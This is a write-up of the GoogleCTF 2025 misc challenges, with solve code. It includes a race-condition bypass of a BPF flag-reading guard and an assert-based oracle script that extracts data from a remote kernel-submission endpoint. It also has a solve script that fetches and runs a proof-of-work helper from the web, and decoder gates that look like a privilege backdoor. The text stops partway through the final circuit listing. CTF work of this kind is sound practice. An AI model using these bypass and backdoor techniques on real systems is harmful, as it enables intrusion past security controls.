GoogleCTF 2025

Writeups for all misc challenges and soft release of my new AI toolbox project (autonomous CTF solver)

Misc

メガA (110 solves)

Description:

Join the 16-bit revolution! Can you help Sonk the Rabbit find all flags? Submit your recording to get the flag: python3 submit.py solution.inp mega.2025.ctfcompetition.com 1337

Note: Submit the flag starting with "CTF{A:" here. For submitting the other flag, see the challenge titled "メガB".

Note 2: To make the メガ challenges less annoying for those who already solved it locally, the ability to get the flag from the server may depend on mame version you installed. This wasn't obvious and we apologise. The version we run at the server is 0.277+dfsg.1-0ubuntu1~ppa3~noble1 and it comes from ppa:c.falco/mame.

Resources:

Static resources:chall

Solution:

Unzipping the challenge, we see a misc-mega-rust-1 folder with a bunch of rust game files and a Sega Mega Drive ROM image (sonk.md). Below is the README.md for convenience.

# Mega Sonk in MegaRust

To run the game:

```
mame genesis -cart sonk.md
```

Record your solution and send it up to the server to get the flag! Make sure your recording is at most 5 minutes long.

```
mame genesis -cart sonk.md -record solution.inp
python3 submit.py /home/user/.mame/inp/solution.inp mega.2025.ctfcompetition.com 1337
```

To rebuild the game:

```
make sonk.md
```

On the first run this builds the compilation toolchain which could take up to half an hour.

Rebuild and run the game:

```
 make run
```


## Credits

Compilation toolchain based on
* https://github.com/ricky26/rust-mega-drive
* https://github.com/rust-lang/rustc_codegen_gcc

Graphics credits:
* https://opengameart.org/content/dashie-supertux-advance-style
* https://opengameart.org/content/plastic-shamtastic
* https://opengameart.org/content/wasp-0

Running the game following the instructions, we can quickly explore the entire map and see the two flags.

Flag A

Flag B

We can't walk into the spikes for flag A and we can't jump high enough to hit flag b. The only enemies are wasps which knock us back if we hit them but we don't take damage (similar to hitting spikes). We can build up a lot of speed and jump pretty far when jumping off a hill. Finally, we can go off screen slightly on the left and right.

Early theories were that we could do something off screen or building up speed and hitting hills/enemies/spikes could cause glitches. We also thought maybe the flag collision area might shift over time. We are given all the tools needed to rebuild the game so we can modify it to give us some debugging information.

Here are all the mods I added in the game.rs draw function (right after the first if statement):

        // Add position markers before final render
        if self.win_scene.is_none() {
            // Draw vertical lines every 500 pixels
            let world_x_start = -self.map.scroll_x;
            
            // Regular markers every 500 pixels
            for i in 0..13 {
                let marker_world_x = i * 500;
                let marker_screen_x = marker_world_x + self.map.scroll_x + 128;
                
                if marker_screen_x >= 64 && marker_screen_x <= 448 {
                    // Draw a thin vertical line using a sprite
                    let marker_sprite = Sprite {
                        size: SpriteSize::Size1x4,
                        x: marker_screen_x as u16,
                        y: 128,
                        link: 0,
                        flags: TileFlags::for_tile(SPIKE_TILE_OFFSET, Palette::C), // Use spike tile
                    };
                    let _ = self.renderer.add_sprite(marker_sprite);
                }
            }
            
            // Draw actual flag collision positions
            for (i, flag) in self.flags.iter().enumerate() {
                // flag.x and flag.y are the collision coordinates
                // They start as world coords but get modified by camera
                // Need to convert back to screen position
                let flag_screen_x = flag.x;
                let flag_screen_y = flag.y;
                
                // Draw vertical line at flag X position
                if flag_screen_x >= 64 && flag_screen_x <= 448 {
                    for y in 0..7 {
                        let flag_marker = Sprite {
                            size: SpriteSize::Size1x4,
                            x: flag_screen_x,
                            y: (128 + y * 32) as u16,
                            link: 0,
                            flags: if i == 0 { 
                                TileFlags::for_tile(SPIKE_TILE_OFFSET + 1, Palette::B) // Flag A
                            } else { 
                                TileFlags::for_tile(SPIKE_TILE_OFFSET + 2, Palette::D) // Flag B
                            },
                        };
                        let _ = self.renderer.add_sprite(flag_marker);
                    }
                }
                
                // Draw marker at the actual flag position
                if flag_screen_x >= 64 && flag_screen_x <= 448 && flag_screen_y >= 64 && flag_screen_y <= 352 {
                    // Show exactly where the flag collision box is
                    let collision_marker = Sprite {
                        size: SpriteSize::Size2x1,
                        x: flag_screen_x,
                        y: flag_screen_y,
                        link: 0,
                        flags: TileFlags::for_tile(FLAG_TILE_OFFSET, Palette::A),
                    };
                    let _ = self.renderer.add_sprite(collision_marker);
                }
            }
        }
        
        // Draw horizontal line showing Sonk's Y position
        if self.win_scene.is_none() {
            // Draw a horizontal line at Sonk's Y coordinate
            let sonk_x = self.sonk.sprite.x;
            let sonk_y = self.sonk.sprite.y;
            for x in 0..10 {
                let y_marker = Sprite {
                    size: SpriteSize::Size1x1,
                    x: (128 + x * 32) as u16,
                    y: sonk_y,
                    link: 0,
                    flags: TileFlags::for_tile(SPIKE_TILE_OFFSET, Palette::A), // Red color
                };
                let _ = self.renderer.add_sprite(y_marker);
            }
            
            // Draw a vertical line at Sonk's X coordinate
            for y in 0..7 {
                let x_marker = Sprite {
                    size: SpriteSize::Size1x1,
                    x: sonk_x,
                    y: (128 + y * 32) as u16,
                    link: 0,
                    flags: TileFlags::for_tile(SPIKE_TILE_OFFSET, Palette::A), // Red color
                };
                let _ = self.renderer.add_sprite(x_marker);
            }
            
            // Draw horizontal lines for flags
            for flag in &self.flags {
                if flag.y >= 64 && flag.y <= 352 {
                    for x in 0..10 {
                        let flag_y_marker = Sprite {
                            size: SpriteSize::Size1x1,
                            x: (128 + x * 32) as u16,
                            y: flag.y,
                            link: 0,
                            flags: TileFlags::for_tile(FLAG_TILE_OFFSET, Palette::D), // Different color for flags
                        };
                        let _ = self.renderer.add_sprite(flag_y_marker);
                    }
                }
            }
            
            // Draw indicators for important game state
            // Show if Sonk is damaged (blinking indicator in top right)
            if self.sonk.damaged {
                let damage_indicator = Sprite {
                    size: SpriteSize::Size2x2,
                    x: 400,
                    y: 140,
                    link: 0,
                    flags: TileFlags::for_tile(SPIKE_TILE_OFFSET, Palette::A), // Red spike to show damaged
                };
                let _ = self.renderer.add_sprite(damage_indicator);
            }
            
            
            // Show Sonk's speed (visual bars)
            let speed_x_abs = self.sonk.speed_x.abs() as u16;
            let speed_y_abs = self.sonk.speed_y.abs() as u16;
            
            // Horizontal speed bar
            for i in 0..(speed_x_abs / 10).min(12) {
                let speed_marker = Sprite {
                    size: SpriteSize::Size1x1,
                    x: 380 + i * 8,
                    y: 180,
                    link: 0,
                    flags: if self.sonk.speed_x < 0 {
                        TileFlags::for_tile(SPIKE_TILE_OFFSET, Palette::C) // Blue for left
                    } else {
                        TileFlags::for_tile(SPIKE_TILE_OFFSET, Palette::B) // Green for right
                    },
                };
                let _ = self.renderer.add_sprite(speed_marker);
            }
            
            // Vertical speed bar
            for i in 0..(speed_y_abs / 10).min(10) {
                let speed_marker = Sprite {
                    size: SpriteSize::Size1x1,
                    x: 380 + i * 8,
                    y: 190,
                    link: 0,
                    flags: if self.sonk.speed_y < 0 {
                        TileFlags::for_tile(FLAG_TILE_OFFSET, Palette::A) // Red for up
                    } else {
                        TileFlags::for_tile(FLAG_TILE_OFFSET, Palette::D) // Purple for down
                    },
                };
                let _ = self.renderer.add_sprite(speed_marker);
            }
            
            // Show if Sonk is off-screen (important for the exploit!)
            let mid_x = sonk_x as i16 + 16 - 128;
            if mid_x < 0 || mid_x > 319 {
                // Big warning indicator that we're off-screen
                let offscreen_indicator = Sprite {
                    size: SpriteSize::Size4x4,
                    x: 350,
                    y: 200,
                    link: 0,
                    flags: TileFlags::for_tile(WASP_TILE_OFFSET, Palette::A), // Red wasp = danger/warning
                };
                let _ = self.renderer.add_sprite(offscreen_indicator);
            }
            
            // Calculate Sonk's world coordinates
            let world_x = (sonk_x as i16 - 128 - self.map.scroll_x) as u16;
            let world_y = (sonk_y as i16 - 128 - self.map.scroll_y) as u16;
            
            // Draw X coordinate display (top left)
            let x_thousands = (world_x / 1000) as u16;
            let x_hundreds = ((world_x % 1000) / 100) as u16;
            let x_tens = ((world_x % 100) / 10) as u16;
            let x_ones = (world_x % 10) as u16;
            
            // X coordinate markers
            for i in 0..x_thousands.min(8) {
                let marker = Sprite {
                    size: SpriteSize::Size1x1,
                    x: 140 + i * 8,
                    y: 140,
                    link: 0,
                    flags: TileFlags::for_tile(SPIKE_TILE_OFFSET, Palette::D), // Purple for thousands
                };
                let _ = self.renderer.add_sprite(marker);
            }
            
            for i in 0..x_hundreds.min(8) {
                let marker = Sprite {
                    size: SpriteSize::Size1x1,
                    x: 140 + i * 8,
                    y: 150,
                    link: 0,
                    flags: TileFlags::for_tile(SPIKE_TILE_OFFSET, Palette::A), // Red for hundreds
                };
                let _ = self.renderer.add_sprite(marker);
            }
            
            for i in 0..x_tens.min(8) {
                let marker = Sprite {
                    size: SpriteSize::Size1x1,
                    x: 140 + i * 8,
                    y: 160,
                    link: 0,
                    flags: TileFlags::for_tile(SPIKE_TILE_OFFSET, Palette::B), // Green for tens
                };
                let _ = self.renderer.add_sprite(marker);
            }
            
            for i in 0..x_ones.min(8) {
                let marker = Sprite {
                    size: SpriteSize::Size1x1,
                    x: 140 + i * 8,
                    y: 170,
                    link: 0,
                    flags: TileFlags::for_tile(SPIKE_TILE_OFFSET, Palette::C), // Blue for ones
                };
                let _ = self.renderer.add_sprite(marker);
            }
            
            // Draw Y coordinate display (below X)
            let y_hundreds = (world_y / 100) as u16;
            let y_tens = ((world_y % 100) / 10) as u16;
            let y_ones = (world_y % 10) as u16;
            
            // Y coordinate markers
            for i in 0..y_hundreds.min(8) {
                let marker = Sprite {
                    size: SpriteSize::Size1x1,
                    x: 140 + i * 8,
                    y: 190,
                    link: 0,
                    flags: TileFlags::for_tile(FLAG_TILE_OFFSET, Palette::A), // Red for hundreds
                };
                let _ = self.renderer.add_sprite(marker);
            }
            
            for i in 0..y_tens.min(8) {
                let marker = Sprite {
                    size: SpriteSize::Size1x1,
                    x: 140 + i * 8,
                    y: 200,
                    link: 0,
                    flags: TileFlags::for_tile(FLAG_TILE_OFFSET, Palette::B), // Green for tens
                };
                let _ = self.renderer.add_sprite(marker);
            }
            
            for i in 0..y_ones.min(8) {
                let marker = Sprite {
                    size: SpriteSize::Size1x1,
                    x: 140 + i * 8,
                    y: 210,
                    link: 0,
                    flags: TileFlags::for_tile(FLAG_TILE_OFFSET, Palette::C), // Blue for ones
                };
                let _ = self.renderer.add_sprite(marker);
            }
        }

This allows us to see everything that could be significant for the challenge. We can see absolute X position (a vertical line every 500 pixels), x/y position of collision boxes for the flags and the player (rendered with a vertical and horizontal line), an x/y position indicator (with flags to represent digits because numbers can't be rendered on the map and there's no terminal), a speed indicator, and a few other things. The below two images show some examples.

X/Y relative position indicators (left), horizontal position of player (green) horizontal position of flag (white), vertical marker for 500 feet (white)

Checking flag position (left vertical line) when we're hit off screen

These mods let us learn a few interesting things like when we're off screen, we quickly hit an invisible wall, but we still build up "speed" when we move against it. Also when we're hit by a wasp off screen downhill, our y position stays at the last position on screen until we move. We also can see if the flag collision our or collision box ever gets moved somehow.

This represents all the information that we can learn by rebuilding the game. Does any of this help? Sadly no.

Flag A is very simple, we just need to be hit offscreen into the spikes. There's a wasp suspiciously close to the right of the spikes with the flag, if we move ourself to the left of the screen and let ourselves get hit, we can go through the spikes that haven't spawned and get it. 🤷‍♂️

メガB (87 solves)

Flag B ended up being nothing related to being off screen, velocity, collision boxes, etc., but rather the spawn mechanism of the wasp.

When we first see the wasp spawn coordinate on screen, it will spawn at that time, but it doesn't despawn any wasps that were already existing, meaning we can walk back and forth with the right side of the window right at the spawn point to spawn multiple wasps at the same time. This is the only obvious mechanism that can be abused, and after a period of time trying to spawn as many as possible, we'll see that if the right side of the screen is exactly on the spawn point, it'll constantly spawn wasps until the game breaks.

Player is now above Flag B, can see their feet when moving side to side

The player will conveniently glitch up to the top of the screen when there are too many wasps. Then, just walking back and forth will eventually collect the flag. Following the instructions, we can generate recordings (needs to be the unmodded game) to submit both flags. A lot of "unnecessary" game mods were done but this helps through process of elimination to narrow down where to look for the solution.

🩸BPFBOX (53 solves)

Description:

I heard people can write LSMs using BPF, so I built one.

bpfbox.2025.ctfcompetition.com 1337

Resources:

Static resources:chall

Solution:

Unzipping the challenge, we see the following docker image.

FROM nixos/nix AS build

RUN mkdir -p /build
WORKDIR /build

COPY flag.txt flake.nix flake.lock /build/
COPY ./init /build/init/
RUN nix --extra-experimental-features nix-command --extra-experimental-features flakes build

FROM gcr.io/kctf-docker/challenge@sha256:9f15314c26bd681a043557c9f136e7823414e9e662c08dde54d14a6bfd0b619f

RUN apt-get update && apt-get install -y qemu-system-x86

WORKDIR /
COPY --from=build /build/result/bzImage /build/result/initrd.gz /
COPY run_qemu /
CMD kctf_setup && \
    chmod 0777 /dev/kvm && \
    chmod 0777 /dev/vhost-vsock && \
    kctf_drop_privs \
    socat \
      TCP-LISTEN:1337,reuseaddr,fork \
      EXEC:"kctf_pow /run_qemu"

Basically, connecting to this challenge drops us into a shell where a BPF probe seems to kill any process that tries to read /flag.txt. The proof of work script is tuned to take a long time (at least 30 seconds to a minute on my machine) and it kicks you out after a minute, so building the challenge with the Dockerfile is probably required to reliably solve it. However I got lucky and solved it in a few minutes so I didn't have to. 😅

/bin/sh: can't access tty; job control turned off
~ $ sh -c 'exec < /flag.txt; cat'
sh -c 'exec < /flag.txt; cat'
~ $ exec 3< /flag.txt && cat <&3
exec 3< /flag.txt && cat <&3

~ $   cat /proc/1/maps | grep flag
  cat /proc/1/maps | grep flag
cat: can't open '/proc/1/maps': Permission denied
~ $ 

~ $   find / -samefile /flag.txt 2>/dev/null
  find / -samefile /flag.txt 2>/dev/null
/flag.txt
~ $ 

~ $   ls -la /proc/self/root/flag.txt
  ls -la /proc/self/root/flag.txt
lrwxrwxrwx    1 0        0               52 Jan  1  1970 /proc/self/root/flag.txt -> /nix/store/c36i0vdt
~ $   ls -la /proc/self/root/flag.txt
  ls -la /proc/self/root/flag.txt
lrwxrwxrwx    1 0        0               52 Jan  1  1970 /proc/self/root/flag.txt -> /nix/store/c36i0vdt
~ $   hexdump -C /flag.txt
  hexdump -C /flag.txt
~ $   cp /flag.txt /tmp/f && cat /tmp/f
  cp /flag.txt /tmp/f && cat /tmp/f
~ $   (sleep 1 && cat /flag.txt) &
  (sleep 1 && cat /flag.txt) &
~ $ CTF{En0ugH_r4c3_c0nd1tIoNs_T0_H05t_O1yMp1c5}

Testing random commands to see what happens, our command gets echo'd back to us if we try to directly access flag.txt. Thinking maybe the BPF probe only checks if the process is trying to access flag.txt as soon as it's created, I added a sleep before it and it worked.

Fishmaze (30 solves)

Description:

Escape the maze.

Solution:

There's no sources given, we just have the html on the launched instance.

Launched instance, we can write player kernel and if it passes a syntax check, see the run

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    ...

    <script>
        const SIGNATURE_CODE = `def player_kernel(mapdata_ref, auxdata_ref, out_ref):`;

     ...
        // --- Configuration Variables (easily changeable) ---
        const GRID_DIMENSION = 800;
        const CELL_SIZE_PX = 32;
        const enemyImages = {
            '#': 'wall.png',
            'F': 'falcon.png',
            'R': 'positron.png',
            'P': 'fish.png',
            ' ': 'empty',
        }
        // ----------------------------------------------------

        const gridContainer = document.getElementById('gridArea');
        const stepSlider = document.getElementById('stepSlider');
        const stepLabel = document.getElementById('currentStep');

        let gameTrace = {};
        let gameStates = [];
        let animationInterval;
        let currentStep = 0;

        gridContainer.style.width = `${GRID_DIMENSION}px`;
        gridContainer.style.height = `${GRID_DIMENSION}px`;
        gridContainer.style.gridTemplateColumns = `repeat(${GRID_DIMENSION / CELL_SIZE_PX}, 1fr)`;
        gridContainer.style.gridTemplateRows = `repeat(${GRID_DIMENSION / CELL_SIZE_PX}, 1fr)`;

        document.querySelector('.grid-controls').style.width = `${GRID_DIMENSION}px`;

        function populateGrid(gameState) {
            gridContainer.innerHTML = '';

            const maze = gameState.maze;
            const mapn = gameTrace.mapn;

            const numCellsPerSide = mapn;
            const cellSize = GRID_DIMENSION / numCellsPerSide;

            gridContainer.style.width = `${GRID_DIMENSION}px`;
            gridContainer.style.height = `${GRID_DIMENSION}px`;
            gridContainer.style.gridTemplateColumns = `repeat(${numCellsPerSide}, 1fr)`;
            gridContainer.style.gridTemplateRows = `repeat(${numCellsPerSide}, 1fr)`;

            const rows = maze.split('\n');
            for (let row = 0; row < rows.length; row++) {
                for (let col = 0; col < rows[row].length; col++) {
                    const cell = document.createElement('div');
                    cell.classList.add('grid-cell');

                    cell.style.width = `${cellSize}px`;
                    cell.style.height = `${cellSize}px`;

                    const cellContent = rows[row][col];
                    let currentCellImage = enemyImages[cellContent] || 'empty';


                    if (currentCellImage !== 'empty') {
                        const img = document.createElement('img');
                        img.src = `/static/${currentCellImage}`;
                        img.alt = currentCellImage.split('.')[0];
                        cell.appendChild(img);
                    }

                    gridContainer.appendChild(cell);
                }
            }
        }

        function updateVisualization(step) {
            if (gameStates.length === 0) return;

            step = parseInt(step);
            const gameState = gameStates[step];
            populateGrid(gameState);
            stepLabel.textContent = step;
            stepSlider.value = step;
        }


      ...
    </script>
    <div style="display:none;">
        Note to our intern: make Sure to remove these notes so players don't see it!

        mapdata.shape is (8,)
        It has ASCII codes of:
        A0 A1 A2
        A3 * A4
        A5 A6 A7
        Where "#" is wall, " " is open, "R" is ray, "F" is falcon

        output.shape is (1 + 64,)
        aux.shape is (64,)
        OUTPUT ACTIONS:
        0 : stay still
        1 : move left
        2 : move right
        3 : move up
        4 : move down
        Put your action in output[0]
        After each turn:OUTPUT[1:] gets copied into AUX_DATA so you can use aux as memory/scratch
    </div>
</body>

</html>

The html code doesn't help us too much aside from the hint at the end. It basically renders our fish moving based on the player_kernel, which runs every tick. Whatever we do seems to just be repeated each time, so if we have it move one direction, we keep moving in that direction. We need to either be able to choose decision based on nearby objects (very hard/impossible to leave the maze on a generic ruleset) or figure out how to use the AUX_DATA as memory to store a sequence of memories.

The problem is random compilations either succeed or don't succeed and there's no debugging info provided on why compilations don't succeed. To solve this, we can use asserts to learn more about the system. The following script is used to determine what mapdata_ref actually is.

import requests

URL = "https://til9w0kk-fishmaze.instancer.2025.ctfcompetition.com/submit_kernel"
HEADERS = {"Content-Type": "application/x-www-form-urlencoded"}

def send_assert(code):
    payload = {"kernel_input": code}
    try:
        r = requests.post(URL, headers=HEADERS, data=payload)
        if r.status_code == 200:
            j = r.json()
            return j.get("status", "error")
        return "error"
    except:
        return "error"

def make_assert(index, body):
    return (
        f"def player_kernel(mapdata_ref, auxdata_ref, out_ref):\n"
        f"    out_ref.at[0].set(1)\n"
        f"    assert {body}"
    )

def classify_char(index):
    tests = [
        ("isupper", f"str(mapdata_ref[0])[{index}].isupper()"),
        ("islower", f"str(mapdata_ref[0])[{index}].islower()"),
        ("isdigit", f"str(mapdata_ref[0])[{index}].isdigit()"),
        ("symbol", f"not str(mapdata_ref[0])[{index}].isalnum() and str(mapdata_ref[0])[{index}].isprintable()")
    ]
    for label, test in tests:
        code = make_assert(index, test)
        if send_assert(code) == "success":
            return label
    return None

def binary_search_char(index, charset):
    low = 0
    high = len(charset) - 1
    while low <= high:
        mid = (low + high) // 2
        test_char = charset[mid]
        test = f"str(mapdata_ref[0])[{index}] == '{test_char}'"
        code = make_assert(index, test)
        result = send_assert(code)
        if result == "success":
            return test_char
        test = f"str(mapdata_ref[0])[{index}] < '{test_char}'"
        code = make_assert(index, test)
        result = send_assert(code)
        if result == "success":
            high = mid - 1
        else:
            low = mid + 1
    return None

def get_charset(label):
    import string
    if label == "isupper":
        return list(string.ascii_uppercase)
    elif label == "islower":
        return list(string.ascii_lowercase)
    elif label == "isdigit":
        return list(string.digits)
    elif label == "symbol":
        return list(' !"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~')
    return []

def reconstruct(max_len=50):
    result = ""
    for i in range(max_len):
        print(f"Testing index {i}...")
        category = classify_char(i)
        if not category:
            print(f"Index {i}: End of string.")
            break
        charset = get_charset(category)
        ch = binary_search_char(i, charset)
        if ch:
            result += ch
            print(f"[{i}] = '{ch}' → {result}")
        else:
            print(f"Failed to resolve index {i}.")
            break
    return result

if __name__ == "__main__":
    recovered = reconstruct(50)
    print("\nFinal reconstructed string:")
    print(recovered)

This does a binary search for each character of the type, so sees if it's upper/lower/digit/symbol, then narrows down on what it is with asserts one at a time. A failed compile means it's not that. Running this we find it is Traced<int32[]>with<DynamicJaxprTrace> and looking into that, it is JAX. Knowing this, we can build this simple proof of concept to change directions based on tick.

    tick = auxdata_ref[0]
    move = jnp.where(tick < 5, jnp.int32(4), jnp.int32(1))
    out_ref.at[0].set(move)
    out_ref.at[1].set(tick + jnp.int32(1))

From here, it's simple iteration to build up the full solution. Count out the amount to move, run it, make adjustments, wait to avoid the enemies, and we win.

    import jax.numpy as jnp

    DOWN, LEFT, RIGHT, UP, STAY = map(jnp.int32, (4, 1, 2, 3, 0))

    t = auxdata_ref[0]            # frame counter
    out_ref.at[1].set(t + 1)      # persist

    # ↓5
    c0 = t < 5

    # ←15
    c1 = (t >= 5) & (t < 20)

    # ↑/← pattern 26 ticks (1 2 1 2 1 2 1 1 1 1 2 2 9)
    t2   = t - 20
    ends = [1,3,4,6,7,9,10,11,12,13,15,17,26]
    dirs = [UP if i % 2 == 0 else LEFT for i in range(len(ends))]
    m2   = jnp.select([t2 < e for e in ends],
                      [jnp.int32(d) for d in dirs],
                      default=STAY)
    c2 = (t >= 20) & (t < 46)

    # →2  ↑3  →2
    c3 = (t >= 46) & (t < 48)
    c4 = (t >= 48) & (t < 51)
    c5 = (t >= 51) & (t < 53)

    # pause 5
    c6 = (t >= 53) & (t < 58)

    # ↑5
    c7 = (t >= 58) & (t < 63)

    # →5
    c8 = (t >= 63) & (t < 68)

    move = jnp.where(c0, DOWN,
             jnp.where(c1, LEFT,
               jnp.where(c2, m2,
                 jnp.where(c3, RIGHT,
                   jnp.where(c4, UP,
                     jnp.where(c5, RIGHT,
                       jnp.where(c6, STAY,
                         jnp.where(c7, UP,
                           jnp.where(c8, RIGHT, UP)))))))))

    out_ref.at[0].set(move)

HWSIMv2 (27 solves)

Description:

Last year we were notified that our circuitry was backdoored, so now we formally verify our designs before they get sent to the factory. Implement an instruction decoder for our next-gen CPU!

hwsim.2025.ctfcompetition.com 1337

Resources:

Static resources:chall

Solution:

Unzipping the challenge, we see the following challenge.

from z3 import *
import string
import time
from flag import flag
import sys


spec = """
ISA:
- 4 8-bit registers
...
"""

def menu():
  global gates
  print("1. Print specification.")
  print("2. Clear design.")
  print("3. Add gate.")
  print("4. Print design.")
  print("5. Verify design.")
  print("6. Quit.")
    for i, c in enumerate(flag):
...

def get_and_run():
  print("Ok. The CPU design was sent to the factory, and we got the chip now.")
  print("Let's run some code!")
  print("Example: 09020a480c0a690c0a210c0a200c0a540c0a680c0a650c0a200c0a740c0a690c0a6d0c0a650c0a200c0a690c0a730c0a200c0a780c0a780c0a3a0c0a780c0a780c0a3a0c0a780c09010c0b303b09020c0a0a0c09000c")
  print("Input (hex-encoded) user code (up to 128 bytes):")

  HALT = b"\x0f"
  code = bytes.fromhex(input().strip())[:128]
  code += HALT * (128 - len(code))

  KERNEL_CODE = bytes.fromhex("0f0f 0b91 870bff37 0b92 870bff37 0b96 87 0f 0209010e 0609020e")

  KERNEL_CODE += HALT * (128 - len(KERNEL_CODE))
  code += KERNEL_CODE

  run(code)

def main():
  print("Implement the CPU decoder circuit!")
  while not finished_circuit:
    menu()
  get_and_run()


if __name__ == "__main__":
  main()

Basically we need to build the CPU and then run instructions to print the flag. A teammate (quasar) wrote the CPU so I don't fully understand that part, but after using AI to build a solve script, we have the final solution here.

#!/usr/bin/env python3
"""
Automated solver for the CPU decoder CTF challenge
Reads entire solution from submit.txt (including hex exploit)
"""

import socket
import subprocess
import time
import re
import sys
import os
import urllib.request
import tempfile

# Hardcoded connection details
HOST = "hwsim.2025.ctfcompetition.com"
PORT = 1337

def solve_pow(challenge):
    """Solve the proof-of-work challenge"""
    print(f"[*] Solving PoW: {challenge}")

    # Download and run the PoW solver
    print("[*] Downloading PoW solver...")
    response = urllib.request.urlopen('https://goo.gle/kctf-pow')
    solver_code = response.read().decode('utf-8')

    # Save to temp file
    with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
        f.write(solver_code)
        temp_path = f.name

    try:
        # Run the solver - this takes about 20 seconds
        print(f"[*] Running PoW solver (this takes ~20 seconds)...")
        cmd = ['python3', temp_path, 'solve'] + challenge.split()
        result = subprocess.run(cmd, capture_output=True, text=True)

        # The solution is the last line that starts with 's.'
        solution = None
        for line in result.stdout.strip().split('\n'):
            if line.startswith('s.') and len(line) > 50:
                solution = line.strip()

        if not solution:
            print("[!] Failed to get PoW solution")
            print("Output:", result.stdout)
            print("Error:", result.stderr)
            return None

        print(f"[*] PoW solution found: {solution[:50]}...")
        return solution
    finally:
        os.unlink(temp_path)

def read_working2():
    """Read the complete solution from submit.txt"""
    if not os.path.exists('submit.txt'):
        print("[!] Error: submit.txt not found!")
        print("[!] Please create submit.txt with the circuit solution and hex exploit")
        sys.exit(1)

    with open('submit.txt', 'r') as f:
        content = f.read()

    print(f"[*] Read {len(content)} bytes from submit.txt")
    return content

def recv_until(sock, pattern, timeout=30):
    """Receive data until pattern is found"""
    buffer = b""
    sock.settimeout(timeout)
    start_time = time.time()

    while True:
        if time.time() - start_time > timeout:
            raise TimeoutError("Timeout waiting for pattern")

        try:
            data = sock.recv(4096)
            if not data:
                break
            buffer += data

            # Try to decode and check for pattern
            try:
                decoded = buffer.decode('utf-8', errors='ignore')
                if pattern in decoded:
                    return decoded
            except:
                pass

        except socket.timeout:
            continue

    return buffer.decode('utf-8', errors='ignore')

def main():
    print(f"[*] CPU Decoder CTF Solver")
    print(f"[*] Target: {HOST}:{PORT}")
    print("=" * 50)

    # Connect to the server
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(60)

    try:
        print(f"[*] Connecting to {HOST}:{PORT}...")
        sock.connect((HOST, PORT))
        print("[*] Connected!")

        # Read initial PoW challenge
        print("[*] Waiting for PoW challenge...")
        initial_data = recv_until(sock, "Solution?", timeout=10)
        print(initial_data)

        # Extract PoW challenge
        match = re.search(r'solve\s+(s\.\w+\.\w+)', initial_data)
        if not match:
            print("[!] Could not find PoW challenge!")
            return

        pow_challenge = match.group(1)

        # Solve PoW
        solution = solve_pow(pow_challenge)
        if not solution:
            print("[!] Failed to solve PoW")
            return

        # Send solution
        print(f"\n[*] Sending PoW solution...")
        sock.send((solution + "\n").encode())

        # Wait for the main program to start
        print("[*] Waiting for main program to start...")
        time.sleep(2)

        # Read any response after PoW
        sock.settimeout(2)
        try:
            response = sock.recv(4096).decode('utf-8', errors='ignore')
            if response:
                print(response)
        except socket.timeout:
            pass

        # Read the entire solution from submit.txt
        print("\n[*] Reading complete solution from submit.txt...")
        complete_solution = read_working2()

        # Send the entire content line by line
        print("[*] Sending complete solution (circuit + exploit)...")
        lines = complete_solution.strip().split('\n')

        for i, line in enumerate(lines):
            # Show progress for long inputs
            if i % 10 == 0:
                print(f"[*] Progress: {i}/{len(lines)} lines sent")

            sock.send((line + "\n").encode())
            # Small delay between lines to avoid overwhelming the server
            time.sleep(0.001)

        print(f"[*] All {len(lines)} lines sent!")

        # Read all remaining output
        print("\n[*] Reading output (waiting for flag)...")
        print("=" * 50)

        sock.settimeout(5)
        output_buffer = ""
        last_data_time = time.time()

        while time.time() - last_data_time < 3:  # Wait up to 3 seconds of silence
            try:
                data = sock.recv(4096).decode('utf-8', errors='ignore')
                if data:
                    output_buffer += data
                    print(data, end='', flush=True)
                    last_data_time = time.time()
            except socket.timeout:
                continue
            except:
                break

        print("\n" + "=" * 50)

    except KeyboardInterrupt:
        print("\n[!] Interrupted by user")
    except Exception as e:
        print(f"\n[!] Error: {e}")
        import traceback
        traceback.print_exc()
    finally:
        sock.close()
        print("\n[*] Connection closed")

if __name__ == "__main__":
    main()

# submit.txt
2
3
make_one_xor1 r0_0 r0_0
3
make_one_xor2 r0_0 make_one_xor1
3
make_one_xor3 r0_0 make_one_xor1
3
security_exception make_one_xor2 make_one_xor3
3
is_root_now security_exception security_exception
3
not_ins7 ins_7 ins_7
3
is_jz not_ins7 not_ins7
3
is_jmp_and1 not_ins7 ins_6
3
is_jmp is_jmp_and1 is_jmp_and1
3
not_ins6_not ins_6 ins_6
3
and_n7_n6_and1 not_ins7 not_ins6_not
3
and_n7_n6 and_n7_n6_and1 and_n7_n6_and1
3
and_5_4_and1 ins_5 ins_4
3
and_5_4 and_5_4_and1 and_5_4_and1
3
is_add_and1 and_n7_n6 and_5_4
3
is_add is_add_and1 is_add_and1
3
not_ins4 ins_4 ins_4
3
and_5_n4_and1 ins_5 not_ins4
3
and_5_n4 and_5_n4_and1 and_5_n4_and1
3
is_store_and1 and_n7_n6 and_5_n4
3
is_store is_store_and1 is_store_and1
3
not_ins5 ins_5 ins_5
3
and_n5_4_and1 not_ins5 ins_4
3
and_n5_4 and_n5_4_and1 and_n5_4_and1
3
is_load_and1 and_n7_n6 and_n5_4
3
is_load is_load_and1 is_load_and1
3
and_n5_n4_and1 not_ins5 not_ins4
3
and_n5_n4_and2_not and_n5_n4_and1 and_n5_n4_and1
3
and_n7_n6_n5_n4_and1 and_n7_n6 and_n5_n4_and2_not
3
and_n7_n6_n5_n4 and_n7_n6_n5_n4_and1 and_n7_n6_n5_n4_and1
3
and_3_2_and1 ins_3 ins_2
3
and_3_2 and_3_2_and1 and_3_2_and1
3
and_n7_n6_n5_n4_3_2_and1 and_n7_n6_n5_n4 and_3_2
3
and_n7_n6_n5_n4_3_2 and_n7_n6_n5_n4_3_2_and1 and_n7_n6_n5_n4_3_2_and1
3
and_1_0_and1 ins_1 ins_0
3
and_1_0 and_1_0_and1 and_1_0_and1
3
is_halt_and1 and_n7_n6_n5_n4_3_2 and_1_0
3
is_halt is_halt_and1 is_halt_and1
3
not_ins0 ins_0 ins_0
3
and_1_n0_and1 not_ins0 ins_1
3
and_1_n0 and_1_n0_and1 and_1_n0_and1
3
is_sysret_and1 and_n7_n6_n5_n4_3_2 and_1_n0
3
is_sysret is_sysret_and1 is_sysret_and1
3
not_ins1 ins_1 ins_1
3
